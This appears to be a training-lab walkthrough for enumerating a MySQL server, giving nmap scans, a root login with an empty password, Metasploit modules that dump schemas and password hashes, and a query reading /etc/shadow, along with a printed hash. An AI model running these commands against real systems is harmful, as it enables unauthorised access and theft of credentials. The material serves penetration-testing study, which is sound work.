Lab
- What is the version of MySQL server?
- What command is used to connect to remote MySQL database?
- How many databases are present on the database server?
- How many records are present in table “authors”? This table is present inside the “books” database.
- Dump the schema of all databases from the server using suitable metasploit module?
- How many directories present in the /usr/share/metasploit-framework/data/wordlists/directory.txt, are writable? List the names.
- How many of sensitive files present in /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt are readable? List the names.
- Find the system password hash for user "root".
- How many database users are present on the database server? Lists their names and password hashes.
- Check whether anonymous login is allowed on MySQL Server.
- Check whether “InteractiveClient” capability is supported on the MySQL server.
- Enumerate the users present on MySQL database server using mysql-users nmap script.
- List all databases stored on the MySQL Server using nmap script.
- Find the data directory used by mysql server using nmap script.
- Check whether File Privileges can be granted to non admin users using mysql_audi nmap script.
- Dump all user hashes using nmap script.
- Find the number of records stored in table “authors” in database “books” stored on MySQL Server using mysql-query nmap script.
MySQL Server Version with Nmap
nmap 192.220.96.3 -sV -O -p3306
Connect to MySQL Database
mysql -h 192.220.96.3 -u root
Number of Databases
SHOW databases;
Number of Records Inside Books.Authors
USE books;
SHOW tables;
SELECT count(*) FROM authors;
Dump Database Schema with MSFconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS 192.220.96.3
set USERNAME root
set PASSWORD ""
exploit
Number of Writable Directories with MSFconsole
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS 192.220.96.3
set PASSWORD ""
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
exploit
Number of Sensitive Files with MSFconsole
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.220.96.3
set PASSWORD ""
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
exploit
Hash for Root
-
SELECT load_file("/etc/shadow");
-
S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/ = hash
Database Users and Hashes
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS 192.220.96.3
set PASSWORD ""
set USERNAME root
exploit
Check for Anonymous Login
nmap 192.220.96.3 -p3306 --script=mysql-empty-password
Check for InteractiveClient
nmap 192.220.96.3 -p3306 --script=mysql-info
Enumerate Users with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-users --script-args="mysqluser='root',mysqlpass=''"
List Databases with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''"
Find Data Directory with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''"
Check If File Privileges Can Be Granted To Non-Admins with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'"
Dump Hashes with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-dump-hashes --script-args="username='root',password=''"
Find Number of Records in Books.Authors with Nmap
nmap 192.220.96.3 -p3306 --script=mysql-query --script-args="query='SELECT count(*) FROM books.authors;',username='root',password=''"